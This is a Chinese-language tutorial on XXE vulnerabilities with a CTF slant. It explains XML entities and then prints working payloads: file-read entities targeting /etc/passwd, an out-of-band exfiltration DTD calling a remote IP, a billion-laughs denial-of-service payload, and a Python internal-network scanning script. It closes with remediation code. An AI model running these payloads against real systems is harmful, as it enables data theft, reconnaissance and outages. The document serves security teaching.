XXE外部实体漏洞
XML和DTD
XML与HTML的区别
XML是被设计为传输和存储数据,其焦点是数据的内容
HTML被设计用来显示数据,其焦点是数据的外观
HTML主要是显示信息,而XML主要传输信息
所以,如果不严谨的话,就会造成XML去传输一些恶意的信息
漏洞成因
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置(就是有上传xml文件的入口点),没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XML的格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?xml version="1.0" encoding="ISO-8859-1"?> //声明XML文档
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> //DTD文档定义类型 <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
<note> <to>George</to> <from>John</from> //文档元素,元素是自由设定的。 <heading>Reminder</heading> //但是一定要有根元素和分支,并且正确嵌套 <body>Don't forget the meeting!</body> </note>
|
DTD(文档定义类型)-实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
作用是定义XML文档的合法构建模块,可内部声明,也可外部引用,这个也是外部实体注入的关键地方
内部实体的声明
1 2 3 4 5 6 7 8 9 10 11 12
| 语法: <!ENTITY 实体名称 "实体的值">
DTD中: 例子: <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn">
XML中: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。 例子; <author>&writer;©right;</author>
|
外部实体声明
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 语法: <!ENTITY 实体名称 SYSTEM "URI/URL">
DTD中: 例子: <!ENTITY writer SYSTEM "http://www.baidu.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML中: 例子: <author>&writer;©right;</author>
或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
|
XML外部实体注入
当允许引用外部实体时,由于XML注重于数据的传输,所以通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
方式1:
通过协议来引用,不过不同的程序支持的协议不一样
1 2 3 4 5 6
| <?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY Y SYSTEM "file:///etc/passwd"> ]> <user>&Y</user> //上传该文件就会返回/etc/passwd的内容
|
方式2:
1 2 3 4 5
| <?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY Y SYSTEM "http://www.baidu.com"> ]> <user>&Y</user>
|
方式3(数据外带—在xxe的盲注中可以使用):
1 2 3 4 5 6 7 8 9 10
| <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd"> %remote; ]> shell.dtd <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>"> %int; %send;
|
方式4(内部DTD+参数外部实体):
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY %name SYSTEM "file:///etc/passwd"> %name; ]> //注意:%name(参数实体)是在 DTD 中被引用的,而&name(其余实体)实在 xml 文档中被引用 的。
|
绕过手法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 双重实体编码绕过 <?xml version="1.0"?> <!DOCTYPE GVI [ <!ENTITY % xml "<!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core>       <message>&xxe;</message> </core>"> %xml;
编码内容: <!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core> <message>&xxe;</message> </core>
|
拒绝服务攻击代码
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> <--XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),举个例子,这里定义了一个lol的实体,实体还有“lol”的字符串,然后定义了一个lol2的实体,里面有10个"lol"的字符串,依次递推,一个lol3实体引用10个lol2实体,这样的话可以一直向服务器传输文件,也就是形成了DOS攻击,经过XML解析器解析后的内存占用会比其本身大的多。-->
|
内网扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?xml version="1.0" ?> <!DOCTYPE xxe[ <!ENTITY xxe SYSTEM "file://proc/net/fib_trie"> <user>&xxe</user> ]> file:///etc/hosts 储存域名解析的缓存
file:///proc/net/arp arp表,可以获得内网其他机器的地址
file:///proc/net/tcp
file:///proc/net/udp
file:///proc/net/dev
file:///proc/net/fib_trie 路由缓存
file:///etc/passwd 用户密码
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import requests as res url="http://185729a2-949c-44fb-ac39-c16282525e73.node5.buuoj.cn:81/doLogin.php" rawPayload='<?xml version="1.0"?>'\ '<!DOCTYPE note ['\ '<!ENTITY payload SYSTEM "http://10.244.80.{}">'\ ']>'\ '<user>'\ '<username>'\ '&payload;'\ '</username>'\ '<password>'\ '123'\ '</password>'\ '</user>' for i in range(1,256): payload=rawPayload.format(i) print(str("#{} =>").format(i),end='') try: resp=res.post(url,data=payload,timeout=0.5) except: continue else: print(resp.text,end='') finally: print('')
|
修复方案
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| xxe修复
方案:使用开发语言提供的禁用外部实体的方法
1.PHP: libxml\_disable\_entity\_loader(true);//设置为true时禁止解析xml外部实体
2.JAVA: DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
3.Python: from lxml import etree xmlData=etree.parse(xmlSource,etree.XMLParser(resolve\_entities=False))
|
参考文章:
XXE漏洞-再简单一点点
未知攻焉知防——XXE漏洞攻防
XXE外部实体注入漏洞——PHP
php xxe注入,XXE的原理利用方式及修复
渗透攻击零基础学习-XXE(非常详细)零基础入门到精通,收藏这一篇就够了!!!
BUUCTF题解 NCTF2019 True XML cookbook–Article
[NCTF2019]True XML cookbook 1-peekaboo
XXE漏洞-内网探测